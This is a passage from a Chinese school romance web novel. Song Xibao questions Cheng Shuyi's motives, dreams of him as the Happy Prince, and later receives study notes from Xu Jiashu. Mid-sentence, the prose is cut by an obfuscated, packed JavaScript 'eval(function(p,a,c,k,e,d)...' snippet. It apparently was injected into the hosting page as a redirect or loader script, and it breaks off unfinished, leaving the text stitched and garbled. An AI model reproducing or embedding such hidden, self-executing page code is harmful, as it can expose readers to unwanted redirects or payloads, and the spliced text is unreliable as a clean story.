程书逸为什么要跟妈妈说那些呢？他是怀着什么样的心情跟妈妈说那些的呢？ 宋西宝翻到半夜，实在睡不着，她不是个能憋事的性格，干脆一不做二不休，直接发了消息给程书逸，问他为什么要这么做？为什么要把她爸妈叫来学校看她的表演？ 消息发出去后没多久程书逸就回了，宋西宝看眼时间，已经凌晨快两点了，他不是早睡党吗？ 再看消息，一颗起伏不定的心瞬间沉寂下来了。 【因为懒得听你抱怨了。】 原来是这样。 原来是因为不想听她抱怨了，所以才要帮她解决问题。 宋西宝有点说不上来自己的心情，看到这个回答的一瞬间好像有点失落，但失落过后好像又有点松一口气。 她抱着手机发了半天呆，最后回复了他一个暴揍的表情便放下手机睡觉了。 这天夜里，宋西宝做梦梦见了程书逸。 她梦见他俩在舞台上演话剧，她还是扮演《快乐王子》里的小鸟，而程书逸则变成了“快乐王子”。 她飞到“王子”肩头说想要休息一下，结果王子斜睨她一眼，满脸不屑，紧接着就像掸灰一样抬手将她扫了下去。 梦里她高空跌落，而现实她一身是汗的惊醒了。 早上看见程书逸，宋西宝莫名不想搭理他，而程书逸眼底泛着青色，看上去似乎也不太想搭理她 两个人就这么不冷不热地一起到了学校，看得一旁的周笃文和方思彤是问号又问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐嘉树说：“有把握，但也不一定，文化课我的成绩一向不太稳定。” 宋西宝点头，没话找话道：“那专业课呢？” 徐嘉树忽然笑了，说：“你没看我给你发的消息。” 他没有用疑问句，用的是陈述句。 宋西宝一下尴尬了，想不起来他说的是哪条消息：“呃……你给我发消息了吗？什么时候啊？”她作势掏出手机看，“可能那阵子我忙着排练，看到忘了回你了。” 原本热络的聊天气氛就此冷场，徐嘉树看上去好像也不愿意再挽救了。 他将手里一直提着的袋子递给她，说：“这个送你吧，高三用得上。” 宋西宝并没有第一时间接过。 徐嘉树又往她面前递了递，说：“是文综笔记，我没什么用处了，扔了好像又有点可惜，不如送给有用的人。” 宋西宝这才接过来，说了句谢谢。 徐嘉树走后，宋西宝打开袋子看，发现里面一共三本笔记，她抽出其中一本，一看那本子封皮颜色，眼皮一跳，一个模糊的记忆片段从脑海中跳了出来…… 她翻来覆去地看手上这本湖蓝色封皮的笔记本，又打开翻了翻里面密密麻麻的文字，心里纳闷道：这不是刘敏学姐的笔记本吗？